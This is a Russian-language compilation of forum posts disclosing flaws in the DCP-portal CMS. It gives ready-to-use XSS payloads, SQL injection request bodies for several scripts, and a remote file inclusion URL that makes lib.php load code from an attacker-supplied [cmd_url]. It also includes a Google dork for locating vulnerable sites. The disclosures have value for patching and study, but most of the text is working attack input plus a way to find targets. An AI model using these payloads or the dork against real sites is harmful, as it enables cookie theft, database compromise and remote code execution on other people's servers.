Уязвимости в DCP-portal

[Winux]

XSS и SQL инъекции в DCP-portal

Дата выхода уязвимости: 24.10.2005
Опасность: средняя
В портальном движке DCP-portal найдены множественные XSS и SQL уязвимости, позволяющие провести атаку на портал.
Уязвимые скрипты для проведения XSS атаки:

/index.php?page=send&cid=[XSS]

и /calendar.php, но в данном случае только POST методом:

month=[XSS]&s=1&submit=GO&year=2003&day=01

Уязвимые скрипты для проведения SQL-inj. атаки: register.php, lostpassword.php, calendar.php, index.php, forum.php
Для некоторых модулей, SQL инъекцию прийдется проводить методом POST.

 

[FireEmag]

Web Site: http://www.dcp-portal.org/
DCP Portal <= v6
This script is possibly vulnerable to SQL Injection attacks AND Cross Site Scripting (XSS) attacks
The script has been tested with these query variables:
XSS :
http://[target]/index.php?page=send&cid=<script>alert(document.cookie);</script>
XSS - only POST metod
calendar.phphttp://[target]/calendar.php
The script has been tested with these POST variables:
month=<script>alert(document.cookie);</script>&s=1&submit=GO&year=2003&day=01
Also this script is possibly vulnerable to SQL Injection attacks.
The SQL Injection attacks has been tested with these POST variables:
register.php
sex=1&name=%27&surname=1&email=1&b_month=0&b_day=0&b_year=0&address=1&zip=1&city=1&country=1&job=1&tel=1&signature=1&username=1&password=1&password2=1&SPOILER=on&list=on&action=send&submit=Send
lostpassword.php
mode=lost&email=%27&submit=Send
calendar.phpmonth=1&s=1&submit=GO&year='&day=01month=1&s=1&submit=GO&year=%27&day=01
index.php?cid=%27[SQL]
cod from index.php
$sql = "SELECT id, name FROM $t_cats WHERE cat_id = '".$_GET["cid"]."' ORDER BY sort, name"; $result = mysql_query($sql);

forums.php?action=showmsg&mid=%27[SQL]
cod from forum.php
$resultt = mysql_query("SELECT * FROM $t_forum_msg WHERE b_id = '".$_GET["bid"]."' $where AND msg_id = '0'"); while($rowt=mysql_fetch_array($resultt)) {
Best RegardsAlex

 

[Ŧ1LAN]

DCP-Portal 6.1.x (root) Remote File Include Vulnerability
Описание:
Ошибка существует в lib.php, line 4/7:

include ("$root/library/lib_nav.php");
include ("$root/library/lib_mods.php");
include ("$root/library/lib_admin.php");
include ("$root/library/lib_3rd.php");

Переменная $root не очищается (declare). =)

Пример/эксплоит:
ну вот...

http://example/[dp_path]/library/lib.php?root=[cmd_url]

Google Dork: "Powered by DCP-Portal v6.0"

вот ещё и видео в нагрузку